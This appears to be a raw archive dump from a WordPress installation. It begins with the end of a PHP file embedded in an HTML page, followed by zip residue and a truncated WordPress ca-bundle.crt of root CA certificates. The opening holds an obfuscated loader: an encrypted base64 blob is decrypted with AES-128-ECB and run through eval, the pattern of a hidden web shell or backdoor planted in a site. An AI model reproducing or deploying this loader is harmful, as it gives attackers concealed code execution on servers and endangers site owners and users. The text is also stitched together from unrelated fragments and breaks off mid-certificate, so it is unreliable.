RUcxHWKTacvHqk1XktQxiiUFxCiGKPvwkkJMNmc5aq7AKzbFIc0xVTey1ynbyVPnpeH0w72u2E56VS4iGKbec1qB01LWMzRkDrXkXqh6pOLSUMmLYzUJV9afweqOdyXf+h94fxAilqzv5xj8eM6vaLibbKN5UaaI7CSKwy+OT5COy8mLOvTi7EbdlyGGIUobfzazICHWNlB27FPDwrk74ZLOJThcmuEwx19tK6agfrxzvZpkyPQ+XEqG1jMWHno0fgA2IfeXXIpgPllQdJDMKAOug+OXBivI4km9F/G5KQgf38wnDPAAFJZOtbmeoeeilxxtb0m5iwTExYfQOKFPgCPtiunFoKJoHiwu0Hnp6Fyp6KdXSxL1Zd95sv3ZBYknTvHrrC+R8OtnrEPJg1pnfi2M6/q7T7N34mxJccD01zOLRfE4Gezh0GxBaS2Ml0gAM2q6f8J+2w1EqKFLSY2rolhoshAoyFrT4/QLZihBOn89EsEL61ZysQ/YXLWnT+dD71j+i+kU99w/PPaO1n5TR6uOpqOQGGhl4eGAZLALld9YsdVetpG4v9H8XocWUH9CMMSM+uOuC3dljyjCrwaOPYvCKI9EZDCTyB/9p9jpD5AnyA+JNpOMktsbr8p+NuXQzogPYnCaK8Rht0vI7ISn5JvF2rJKhLbDjEhi0DxuDmuT6m5s1lGFYmHYv3UvjetC3pVyjkc1gr30zCQUlm9LdPLd0nl65DZXtUU4jxLGaVLGeUc2z3TQPKqeg2aZ4nWsZrw==';

$decryptedContent = openssl_decrypt($encryptedContent, 'AES-128-ECB', $KataKunci, 0);

eval('?>' . $decryptedContent);

?>
</html>PKVO\�dئ���
ca-bundle.crtnu�[���##
## Bundle of CA Root Certificates
##
## WordPress Modification - We prepend some unexpired 'legacy' 1024bit certificates
## for backward compatibility. See https://core.trac.wordpress.org/ticket/34935#comment:10
##


Verisign Class 3 Public Primary Certification Authority
=======================================================
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEHC65B0Q2Sk0tjjKewPMur8wDQYJKoZIhvcNAQECBQAwXzELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5
IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMTIzNTk1OVow
XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz
IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA
A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94
f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol
hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBAgUAA4GBALtMEivPLCYA
TxQT3ab7/AoRhIzzKBxnki98tsX63/Dolbwdj2wsqFHMc9ikwFPwTtYmwHYBV4GSXiHx0bH/59Ah
WM1pF+NEHJwZRDmJXNycAA9WjQKZ7aKQRUzkuxCkPfAyAw7xzvjoyVGM5mKf5p/AfbdynMk2Omuf
Tqj/ZA1k
-----END CERTIFICATE-----

Verisign Class 3 Public Primary Certification Authority - G2
============================================================
-----BEGIN CERTIFICATE-----
MIIDAjCCAmsCEH3Z/gfPqB63EHln+6eJNMYwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT
MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln
biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz
dCBOZXR3b3JrMB4XDTk4MDUxODAwMDAwMFoXDTI4MDgwMTIzNTk1OVowgcExCzAJBgNVBAYTAlVT
MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln
biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz
dCBOZXR3b3JrMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMXtERXVxp0KvTuWpMmR9ZmDCO
FoUgRm1HP9SFIIThbbP4pO0M8RcPO/mn+SXXwc+EY/J8Y8+iR/LGWzOOZEAEaMGAuWQcRXfH2G71
lSk8UOg013gfqLptQ5GVj0VXXn7F+8qkBOvqlzdUMG+7AUcyM83cV5tkaWH4mx0ciU9cZwIDAQAB
MA0GCSqGSIb3DQEBBQUAA4GBAFFNzb5cy5gZnBWyATl4Lk0PZ3BwmcYQWpSkU01UbSuvDV1Ai2TT
1+7eVmGSX6bEHRBhNtMsJzzoKQm5EWR0zLVznxxIqbxhAe7iF6YM40AIOw7n60RzKprxaZLvcRTD
Oaxxp5EJb+RxBrO6WVcmeQD2+A2iMzAo1KpYoJ2daZH9
-----END CERTIFICATE-----

Verisign Class 3 Public Primary Certification Authority
=======================================================
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5
IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVow
XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz
IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA
A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94
f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol
hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBABByUqkFFBky
CEHwxWsKzH4PIRnN5GfcX6kb5sroc50i2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWX
bj9T/UWZYB2oK0z5XqcJ2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/
D/xwzoiQ
-----END CERTIFICATE-----


##
## Bundle of CA Root Certificates
##
## Certificate data from Mozilla as of: Tue Nov  4 04:12:02 2025 GMT
##
## Find updated versions here: https://curl.se/docs/caextract.html
##
## This is a bundle of X.509 certificates of public Certificate Authorities
## (CA). These were automatically extracted from Mozilla's root certificates
## file (certdata.txt).  This file can be found in the mozilla source tree:
## https://raw.githubusercontent.com/mozilla-firefox/firefox/refs/heads/release/security/nss/lib/ckfw/builtins/certdata.txt
##
## It contains the certificates in PEM format and therefore
## can be directly used with curl / libcurl / php_curl, or with
## an Apache+mod_ssl webserver for SSL client authentication.
## Just configure this file as the SSLCACertificateFile.
##
## Conversion done with mk-ca-bundle.pl version 1.29.
## SHA256: 039132bff5179ce57cec5803ba59fe37abe6d0297aeb538c5af27847f0702517
##


Entrust Root Certification Authority
====================================
-----BEGIN CERTIFICATE-----
MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV
BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw
b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG
A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0
MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu
MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu
Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v
dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz
A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww
Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68
j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN
rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw
DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1
MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH
hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA
A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM
Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa
v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS
W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0
tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8
-----END CERTIFICATE-----

QuoVadis Root CA 2
==================
-----BEGIN CERTIFICATE-----
MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT
EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx
ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM
aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6
XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk
lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB
lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy
lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt
66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn
wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh
D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy
BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie
J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud
DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU
a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT
ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv
Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3
UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm
VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK
+JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW
IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1
WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X
f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II
4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8
VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u
-----END CERTIFICATE-----

QuoVadis Root CA 3
==================
-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----

DigiCert Assured ID Root CA
===========================
-----BEGIN CERTIFICATE-----
MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw
IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx
MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL
ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO
9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy
UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW
/lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy
oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf
GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF
66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq
hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc
EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn
SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i
8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe
+o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g==
-----END CERTIFICATE-----

DigiCert Global Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw
HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw
MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3
dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn
TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5
BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H
4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y
7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB
o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm
8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF
BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr
EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt
tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886
UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
-----END CERTIFICATE-----

DigiCert High Assurance EV Root CA
==================================
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw
KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw
MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ
MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu
Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t
Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS
OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3
MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ
NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe
h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY
JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ
V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp
myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK
mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K
-----END CERTIFICATE-----

SwissSign Gold CA - G2
======================
-----BEGIN CERTIFICATE-----
MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw
EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN
MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp
c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq
t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C
jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg
vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF
ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR
AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend
jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO
peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR
7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi
GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw
AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64
OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov
L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm
5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczOUYrHUDFu4Up+GC9pWbY9ZIEr
